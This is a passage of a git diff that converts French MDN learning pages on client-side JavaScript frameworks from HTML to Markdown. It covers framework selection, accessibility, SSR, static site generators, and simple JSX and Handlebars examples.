doesn't know that it should automatically adjust focus or announce a new page title. Framework authors have devoted immense time and labor to writing JavaScript that recreates these features, and even then, no framework has done so perfectly. -<p>Let's build on what we said in the previous section, and talk a bit more about accessibility. Making user interfaces accessible always requires some thought and effort, and frameworks can complicate that process. You often have to employ advanced framework APIs to access native browser features like ARIA <a href="/fr/docs/Web/Accessibility/ARIA/ARIA_Live_Regions">live regions</a> or focus management.</p> +The upshot is that you should consider accessibility from the very start of _every_ web project, but bear in mind that abstracted codebases that use frameworks are more likely to suffer from major accessibility issues if you don't. -<p>In some cases, framework applications create accessibility barriers that do not exist for traditional websites. The biggest example of this is in client-side routing, as mentioned earlier.</p> +## How to choose a framework -<p>With traditional (server-side) routing, navigating the web has predictable results. The browser knows to set focus to the top of the page and assistive technologies will announce the title of the page. These things happen every time you navigate to a new page.</p> +Each of the frameworks discussed in this module take different approaches to web application development. Each is regularly improving or changing, and each has its pros and cons. Choosing the right framework is a team- and project-dependent process, and you should do your own research to uncover what suits your needs. That said, we've identified a few questions you can ask in order to research your options more effectively: -<p>With client-side routing, your browser is not loading new web pages, so it doesn't know that it should automatically adjust focus or announce a new page title. Framework authors have devoted immense time and labor to writing JavaScript that recreates these features, and even then, no framework has done so perfectly.</p> +1. What browsers does the framework support? +2. What domain-specific languages does the framework utilize? +3. Does the framework have a strong community and good docs (and other support) available? -<p>The upshot is that you should consider accessibility from the very start of <em>every</em> web project, but bear in mind that abstracted codebases that use frameworks are more likely to suffer from major accessibility issues if you don't.</p> +The table in this section provides a glanceable summary of the current _browser support_ offered by each framework, as well as the **domain-specific languages** with which it can be used. -<h2 id="How_to_choose_a_framework">How to choose a framework</h2> +Broadly, domain-specific languages (**DSLs**) are programming languages relevant in specific areas of software development. In the context of frameworks, DSLs are variations on JavaScript or HTML that make it easier to develop with that framework. Crucially, none of the frameworks _require_ a developer to use a specific DSL, but they have almost all been designed with a specific DSL in mind. Choosing not to employ a framework’s preferred DSL will mean you miss out on features that would otherwise improve your developer experience. -<p>Each of the frameworks discussed in this module take different approaches to web application development. Each is regularly improving or changing, and each has its pros and cons. Choosing the right framework is a team- and project-dependent process, and you should do your own research to uncover what suits your needs. That said, we've identified a few questions you can ask in order to research your options more effectively:</p> +You should seriously consider the support matrix and DSLs of a framework when making a choice for any new project. Mismatched browser support can be a barrier to your users; mismatched DSL support can be a barrier to you and your teammates. -<ol> - <li>What browsers does the framework support?</li> - <li>What domain-specific languages does the framework utilize?</li> - <li>Does the framework have a strong community and good docs (and other support) available?</li> -</ol> +| Framework | Browser support | Preferred DSL | Supported DSLs | +| --------- | ----------------------------------- | ------------- | ---------------------- | +| Angular | IE9+ | TypeScript | HTML-based; TypeScript | +| React | Modern (IE9+ with Polyfills) | JSX | JSX; TypeScript | +| Vue | IE9+ | HTML-based | HTML-based, JSX, Pug | +| Ember | Modern (IE9+ in Ember version 2.18) | Handlebars | Handlebars, TypeScript | -<p>The table in this section provides a glanceable summary of the current <em>browser support</em> offered by each framework, as well as the <strong>domain-specific languages</strong> with which it can be used.</p> +> **Note :**: DSLs we've described as "HTML-based" do not have official names. They are not really true DSLs, but they are non-standard HTML, so we believe they are worth highlighting. -<p>Broadly, domain-specific languages (<strong>DSLs</strong>) are programming languages relevant in specific areas of software development. In the context of frameworks, DSLs are variations on JavaScript or HTML that make it easier to develop with that framework. Crucially, none of the frameworks <em>require</em> a developer to use a specific DSL, but they have almost all been designed with a specific DSL in mind. Choosing not to employ a framework’s preferred DSL will mean you miss out on features that would otherwise improve your developer experience.</p> +Citations for this table: -<p>You should seriously consider the support matrix and DSLs of a framework when making a choice for any new project. Mismatched browser support can be a barrier to your users; mismatched DSL support can be a barrier to you and your teammates.</p> +- [React browser support: official docs](https://reactjs.org/docs/react-dom.html#browser-support) +- [Ember browser support: Ember 3.0 release announcement](https://blog.emberjs.com/2018/02/14/ember-3-0-released.html) +- [Ember templating language (official docs)](https://guides.emberjs.com/v3.3.0/templates/handlebars-basics/) -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Framework</th> - <th scope="col">Browser support</th> - <th scope="col">Preferred DSL</th> - <th scope="col">Supported DSLs</th> - </tr> - </thead> - <tbody> - <tr> - <td>Angular</td> - <td>IE9+</td> - <td>TypeScript</td> - <td>HTML-based; TypeScript</td> - </tr> - <tr> - <td>React</td> - <td>Modern (IE9+ with Polyfills)</td> - <td>JSX</td> - <td>JSX; TypeScript</td> - </tr> - <tr> - <td>Vue</td> - <td>IE9+</td> - <td>HTML-based</td> - <td>HTML-based, JSX, Pug</td> - </tr> - <tr> - <td>Ember</td> - <td>Modern (IE9+ in Ember version 2.18)</td> - <td>Handlebars</td> - <td>Handlebars, TypeScript</td> - </tr> - </tbody> -</table> +### Does the framework have a strong community? -<div class="note"> -<p><strong>Note :</strong>: DSLs we've described as "HTML-based" do not have official names. They are not really true DSLs, but they are non-standard HTML, so we believe they are worth highlighting.</p> -</div> +This is perhaps the hardest metric to measure, because community size does not correlate directly to easy-to-access numbers. You can check a project's number of GitHub stars or weekly npm downloads to get an idea of its popularity, but sometimes the best thing to do is search a few forums or talk to other developers. It is not just about the community's size, but also how welcoming and inclusive it is, and how good available documentation is. -<p>Citations for this table:</p> +### Opinions on the web -<ul> - <li><a href="https://reactjs.org/docs/react-dom.html#browser-support">React browser support: official docs</a></li> - <li><a href="https://blog.emberjs.com/2018/02/14/ember-3-0-released.html">Ember browser support: Ember 3.0 release announcement</a></li> - <li><a href="https://guides.emberjs.com/v3.3.0/templates/handlebars-basics/">Ember templating language (official docs)</a></li> -</ul> +Don't just take our word on this matter — there are discussions all over the web. The Wikimedia Foundation recently chose to use Vue for its front-end, and posted a [request for comments (RFC) on framework adoption](https://phabricator.wikimedia.org/T241180). Eric Gardner, the author of the RFC, took time to outline the needs of the Wikimedia project and why certain frameworks were good choices for the team. This RFC serves as a great example of the kind of research you should do for yourself when planning to use a front-end framework. -<h3 id="Does_the_framework_have_a_strong_community">Does the framework have a strong community?</h3> +The [State of JavaScript survey](https://stateofjs.com/) is a helpful collection of feedback from JavaScript developers. It covers many topics related to JavaScript, including data about both the use of frameworks and developer sentiment toward them. Currently, there are several years of data available, allowing you to get a sense of a framework's popularity. -<p>This is perhaps the hardest metric to measure, because community size does not correlate directly to easy-to-access numbers. You can check a project's number of GitHub stars or weekly npm downloads to get an idea of its popularity, but sometimes the best thing to do is search a few forums or talk to other developers. It is not just about the community's size, but also how welcoming and inclusive it is, and how good available documentation is.</p> +The Vue team has [exhaustively compared Vue to other popular frameworks](https://vuejs.org/v2/guide/comparison.html). There may be some bias in this comparison (which they note), but it's a valuable resource nonetheless. -<h3 id="Opinions_on_the_web">Opinions on the web</h3> +## Alternatives to client-side frameworks -<p>Don't just take our word on this matter — there are discussions all over the web. The Wikimedia Foundation recently chose to use Vue for its front-end, and posted a <a href="https://phabricator.wikimedia.org/T241180">request for comments (RFC) on framework adoption</a>. Eric Gardner, the author of the RFC, took time to outline the needs of the Wikimedia project and why certain frameworks were good choices for the team. This RFC serves as a great example of the kind of research you should do for yourself when planning to use a front-end framework.</p> +If you’re looking for tools to expedite the web development process, and you know your project isn’t going to require intensive client-side JavaScript, you could reach for one of a handful of other solutions for building the web: -<p>The <a href="https://stateofjs.com/">State of JavaScript survey</a> is a helpful collection of feedback from JavaScript developers. It covers many topics related to JavaScript, including data about both the use of frameworks and developer sentiment toward them. Currently, there are several years of data available, allowing you to get a sense of a framework's popularity.</p> +- A content management system +- Server-side rendering +- A static site generator -<p>The Vue team has <a href="https://vuejs.org/v2/guide/comparison.html">exhaustively compared Vue to other popular frameworks</a>. There may be some bias in this comparison (which they note), but it's a valuable resource nonetheless.</p> +### Content management systems -<h2 id="Alternatives_to_client-side_frameworks">Alternatives to client-side frameworks</h2> +**Content-management systems** (**CMSes**) are any tools that allow a user to create content for the web without directly writing code themselves. They're a good solution for large projects, especially projects that require input from content writers who have limited coding ability, or for programmers who want to save time. They do, however, require a significant amount of time to set up, and utilizing a CMS means that you surrender at least some measure of control over the final output of your website. For example: if your chosen CMS doesn't author accessible content by default, it's often difficult to improve this. -<p>If you’re looking for tools to expedite the web development process, and you know your project isn’t going to require intensive client-side JavaScript, you could reach for one of a handful of other solutions for building the web:</p> +Popular examples include [Wordpress](https://wordpress.com/), [Joomla](https://www.joomla.org/), and [Drupal](https://www.drupal.org/). -<ul> - <li>A content management system</li> - <li>Server-side rendering</li> - <li>A static site generator</li> -</ul> +### Server-side rendering -<h3 id="Content_management_systems">Content management systems</h3> +**Server-side rendering** (**SSR**) is an application architecture in which it is the *server'*s job to render a single-page application. This is the opposite of _client-side rendering_, which is the most common and most straightforward way to build a JavaScript application. Server-side rendering is easier on the client's device, because you're only sending a rendered HTML file to them, but it can be difficult to set up compared to a client-side-rendered application. -<p><strong>Content-management systems</strong> (<strong>CMSes</strong>) are any tools that allow a user to create content for the web without directly writing code themselves. They're a good solution for large projects, especially projects that require input from content writers who have limited coding ability, or for programmers who want to save time. They do, however, require a significant amount of time to set up, and utilizing a CMS means that you surrender at least some measure of control over the final output of your website. For example: if your chosen CMS doesn't author accessible content by default, it's often difficult to improve this.</p> +All of the frameworks covered in this module support server-side rendering as well as client-side rendering. Check out [Next.js](https://nextjs.org/) for React, [Nuxt.js](https://nuxtjs.org/) for Vue (yes it is confusing, and no, these projects are not related!), [FastBoot](https://github.com/ember-fastboot/ember-cli-fastboot) for Ember, and [Angular Universal](https://angular.io/guide/universal) for Angular. -<p>Popular examples include <a href="https://wordpress.com/">Wordpress</a>, <a href="https://www.joomla.org/">Joomla</a>, and <a href="https://www.drupal.org/">Drupal</a>.</p> +> **Note :** Some SSR solutions are written and maintained by the community, whereas some are "official" solutions provided by the framework's maintainer. -<h3 id="Server-side_rendering">Server-side rendering</h3> +### Static site generators -<p><strong>Server-side rendering</strong> (<strong>SSR</strong>) is an application architecture in which it is the <em>server'</em>s job to render a single-page application. This is the opposite of <em>client-side rendering</em>, which is the most common and most straightforward way to build a JavaScript application. Server-side rendering is easier on the client's device, because you're only sending a rendered HTML file to them, but it can be difficult to set up compared to a client-side-rendered application.</p> +Static site generators are programs that dynamically generate all the webpages of a multi-page website — including any relevant CSS or JavaScript — so that they can be published in any number of places. The publishing host could be a GitHub pages branch, a Netlify instance, or any private server of your choosing, for example. There are a number of advantages of this approach, mostly around performance (your user's device isn’t building the page with JavaScript; it's already complete) and security (static pages have fewer attack vectors). These sites can still utilize JavaScript where they need to, but they are not _dependent_ upon it. Static site generators take time to learn, just like any other tool, which can be a barrier to your development process. -<p>All of the frameworks covered in this module support server-side rendering as well as client-side rendering. Check out <a href="https://nextjs.org/">Next.js</a> for React, <a href="https://nuxtjs.org/">Nuxt.js</a> for Vue (yes it is confusing, and no, these projects are not related!), <a href="https://github.com/ember-fastboot/ember-cli-fastboot">FastBoot</a> for Ember, and <a href="https://angular.io/guide/universal">Angular Universal</a> for Angular.</p> +Static sites can have as few or as many unique pages as you want. Just as frameworks empower you to quickly write client-side JavaScript applications, static site generators allow you a way to quickly create HTML files you would otherwise have written individually. Like frameworks, static site generators allow developers to write components that define common pieces of your web pages, and to compose those components together to create a final page. In the context of static site generators, these components are called **templates**. Web pages built by static site generators can even be home to framework applications: if you want one specific page of your statically-generated website to boot up a React application when your user visits it for example, you can do that. -<div class="note"> -<p><strong>Note :</strong> Some SSR solutions are written and maintained by the community, whereas some are "official" solutions provided by the framework's maintainer.</p> -</div> +Static site generators have been around for quite a long time, but they have seen a bit of a revival in the recent history of the web. A handful of powerful options are now available, such as [Hugo](https://gohugo.io/), [Jekyll](https://jekyllrb.com/), [Eleventy](https://www.11ty.dev/), and [Gatsby](https://www.gatsbyjs.org/). -<h3 id="Static_site_generators">Static site generators</h3> +If you'd like to learn more about static site generators on the whole, check out Tatiana Mac's [Beginner's guide to Eleventy](https://tatianamac.com/posts/beginner-eleventy-tutorial-parti/). In the first article of the series, she explains what a static site generator is, and how it relates to other means of publishing web content. -<p>Static site generators are programs that dynamically generate all the webpages of a multi-page website — including any relevant CSS or JavaScript — so that they can be published in any number of places. The publishing host could be a GitHub pages branch, a Netlify instance, or any private server of your choosing, for example. There are a number of advantages of this approach, mostly around performance (your user's device isn’t building the page with JavaScript; it's already complete) and security (static pages have fewer attack vectors). These sites can still utilize JavaScript where they need to, but they are not <em>dependent</em> upon it. Static site generators take time to learn, just like any other tool, which can be a barrier to your development process.</p> +## Summary -<p>Static sites can have as few or as many unique pages as you want. Just as frameworks empower you to quickly write client-side JavaScript applications, static site generators allow you a way to quickly create HTML files you would otherwise have written individually. Like frameworks, static site generators allow developers to write components that define common pieces of your web pages, and to compose those components together to create a final page. In the context of static site generators, these components are called <strong>templates</strong>. Web pages built by static site generators can even be home to framework applications: if you want one specific page of your statically-generated website to boot up a React application when your user visits it for example, you can do that.</p> +And that brings us to the end of our introduction to frameworks — we’ve not taught you any code yet, but hopefully we've given you a useful background on why you'd use frameworks in the first place and how to go about choosing one, and made you excited to learn more and get stuck in! -<p>Static site generators have been around for quite a long time, but they have seen a bit of a revival in the recent history of the web. A handful of powerful options are now available, such as <a href="https://gohugo.io/">Hugo</a>, <a href="https://jekyllrb.com/">Jekyll</a>, <a href="https://www.11ty.dev/">Eleventy</a>, and <a href="https://www.gatsbyjs.org/">Gatsby</a>.</p> +Our next article goes down to a lower level, looking at the specific kinds of features frameworks tend to offer, and why they work like they do. -<p>If you'd like to learn more about static site generators on the whole, check out Tatiana Mac's <a href="https://tatianamac.com/posts/beginner-eleventy-tutorial-parti/">Beginner's guide to Eleventy</a>. In the first article of the series, she explains what a static site generator is, and how it relates to other means of publishing web content.</p> +{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} -<h2 id="Summary">Summary</h2> +## In this module -<p>And that brings us to the end of our introduction to frameworks — we’ve not taught you any code yet, but hopefully we've given you a useful background on why you'd use frameworks in the first place and how to go about choosing one, and made you excited to learn more and get stuck in!</p> +- [Introduction to client-side frameworks](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction) +- [Framework main features](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features) +- React -<p>Our next article goes down to a lower level, looking at the specific kinds of features frameworks tend to offer, and why they work like they do.</p> + - [Getting started with React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) + - [Beginning our React todo list](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning) + - [Componentizing our React app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components) + - [React interactivity: Events and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state) + - [React interactivity: Editing, filtering, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering) + - [Accessibility in React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility) + - [React resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources) -<p>{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> +- Ember -<h2 id="In_this_module">In this module</h2> + - [Getting started with Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) + - [Ember app structure and componentization](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization) + - [Ember interactivity: Events, classes and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state) + - [Ember Interactivity: Footer functionality, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer) + - [Routing in Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing) + - [Ember resources and troubleshooting](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources) -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> - <li>React - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> - </ul> - </li> - <li>Ember - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> - </ul> - </li> - <li>Vue - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> - </ul> - </li> - <li>Svelte - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> - </ul> - </li> -</ul> +- Vue + + - [Getting started with Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) + - [Creating our first Vue component](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component) + - [Rendering a list of Vue components](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists) + - [Adding a new todo form: Vue events, methods, and models](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models) + - [Styling Vue components with CSS](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling) + - [Using Vue computed properties](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties) + - [Vue conditional rendering: editing existing todos](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering) + - [Focus management with Vue refs](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management) + - [Vue resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources) + +- Svelte + + - [Getting started with Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started) + - [Starting our Svelte Todo list app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning) + - [Dynamic behavior in Svelte: working with variables and props](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props) + - [Componentizing our Svelte app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components) + - [Advanced Svelte: Reactivity, lifecycle, accessibility](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility) + - [Working with Svelte stores](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores) + - [TypeScript support in Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript) + - [Deployment and next steps](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next) diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md index 4b4edd429a..c51043feed 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/main_features/index.md @@ -3,278 +3,315 @@ title: Fonctionnalités principales des framework slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> - -<p>Each major JavaScript framework has a different approach to updating the DOM, handling browser events, and providing an enjoyable developer experience. This article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level, and the differences between them.</p> +Each major JavaScript framework has a different approach to updating the DOM, handling browser events, and providing an enjoyable developer experience. This article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level, and the differences between them. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, and <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages.</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To understand the main code features of frameworks.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, and + <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages. + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To understand the main code features of frameworks.</td> + </tr> + </tbody> </table> -<h2 id="Domain-specific_languages">Domain-specific languages</h2> +## Domain-specific languages -<p>All of the frameworks discussed in this module are powered by JavaScript, and all allow you to use domain-specific languages (DSLs) in order to build your applications. In particular, React has popularized the use of <strong>JSX</strong> for writing its components, while Ember utilizes <strong>Handlebars</strong>. Unlike HTML, these languages know how to read data variables, and this data can be used to streamline the process of writing your UI.</p> +All of the frameworks discussed in this module are powered by JavaScript, and all allow you to use domain-specific languages (DSLs) in order to build your applications. In particular, React has popularized the use of **JSX** for writing its components, while Ember utilizes **Handlebars**. Unlike HTML, these languages know how to read data variables, and this data can be used to streamline the process of writing your UI. -<p>Angular apps often make heavy use of <strong>TypeScript</strong>. TypeScript is not concerned with the writing of user interfaces, but it is a domain-specific language, and has significant differences to vanilla JavaScript.</p> +Angular apps often make heavy use of **TypeScript**. TypeScript is not concerned with the writing of user interfaces, but it is a domain-specific language, and has significant differences to vanilla JavaScript. -<p>DSLs can't be read by the browser directly; they must be transformed into JavaScript or HTML first. <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview#Transformation">Transformation is an extra step in the development process</a>, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. While it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks.</p> +DSLs can't be read by the browser directly; they must be transformed into JavaScript or HTML first. [Transformation is an extra step in the development process](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview#Transformation), but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. While it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks. -<h3 id="JSX">JSX</h3> +### JSX -<p><a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a>, which stands for JavaScript and XML, is an extension of JavaScript that brings HTML-like syntax to a JavaScript environment. It was invented by the React team for use in React applications, but can be used to develop other applications — like Vue apps, for instance.</p> +[JSX](https://reactjs.org/docs/introducing-jsx.html), which stands for JavaScript and XML, is an extension of JavaScript that brings HTML-like syntax to a JavaScript environment. It was invented by the React team for use in React applications, but can be used to develop other applications — like Vue apps, for instance. -<p>The following shows a simple JSX example:</p> +The following shows a simple JSX example: -<pre class="brush: js">const subject = "World"; +```js +const subject = "World"; const header = ( - <header> - <h1>Hello, {subject}!</h1> - </header> -);</pre> + <header> + <h1>Hello, {subject}!</h1> + </header> +); +``` -<p>This expression represents an HTML <code><a href="/fr/docs/Web/HTML/Element/header"><header></a></code> element with a <code><a href="/fr/docs/Web/HTML/Element/Heading_Elements"><h1></a></code> element inside. The curly braces around <code>subject</code> on line 4 tell the application to read the value of the <code>subject</code> constant and insert it into our <code><h1></code>.</p> +This expression represents an HTML [`<header>`](/fr/docs/Web/HTML/Element/header) element with a [`<h1>`](/fr/docs/Web/HTML/Element/Heading_Elements) element inside. The curly braces around `subject` on line 4 tell the application to read the value of the `subject` constant and insert it into our `<h1>`. -<p>When used with React, the JSX from the previous snippet would be compiled into this:</p> +When used with React, the JSX from the previous snippet would be compiled into this: -<pre class="brush: js">var subject = "World"; +```js +var subject = "World"; var header = React.createElement("header", null, React.createElement("h1", null, "Hello, ", subject, "!") -);</pre> +); +``` -<p>When ultimately rendered by the browser, the above snippet will produce HTML that looks like this:</p> +When ultimately rendered by the browser, the above snippet will produce HTML that looks like this: -<pre class="brush: html"><header> - <h1>Hello, World!</h1> -</header></pre> +```html +<header> + <h1>Hello, World!</h1> +</header> +``` -<h3 id="Handlebars">Handlebars</h3> +### Handlebars -<p>The <a href="https://handlebarsjs.com/">Handlebars</a> templating language is not specific to Ember applications, but it is heavily utilized in Ember apps. Handlebars code resembles HTML, but it has the option of pulling data in from elsewhere. This data can be used to influence the HTML that an application ultimately builds.</p> +The [Handlebars](https://handlebarsjs.com/) templating language is not specific to Ember applications, but it is heavily utilized in Ember apps. Handlebars code resembles HTML, but it has the option of pulling data in from elsewhere. This data can be used to influence the HTML that an application ultimately builds. -<p>Like JSX, Handlebars uses curly braces to inject the value of a variable. Handlebars uses a double-pair of curly braces, instead of a single pair.</p> +Like JSX, Handlebars uses curly braces to inject the value of a variable. Handlebars uses a double-pair of curly braces, instead of a single pair. -<p>Given this Handlebars template:</p> +Given this Handlebars template: -<pre class="brush: html"><header> - <h1>Hello, \{{subject}}!</h1> -</header></pre> +```html +<header> + <h1>Hello, \{{subject}}!</h1> +</header> +``` -<p>And this data:</p> +And this data: -<pre class="brush: js">{ +```js +{ subject: "World" -}</pre> +} +``` -<p>Handlebars will build HTML like this:</p> +Handlebars will build HTML like this: -<pre class="brush: html"><header> - <h1>Hello, World!</h1> -</header></pre> +```html +<header> + <h1>Hello, World!</h1> +</header> +``` -<h3 id="TypeScript">TypeScript</h3> +### TypeScript -<p><a 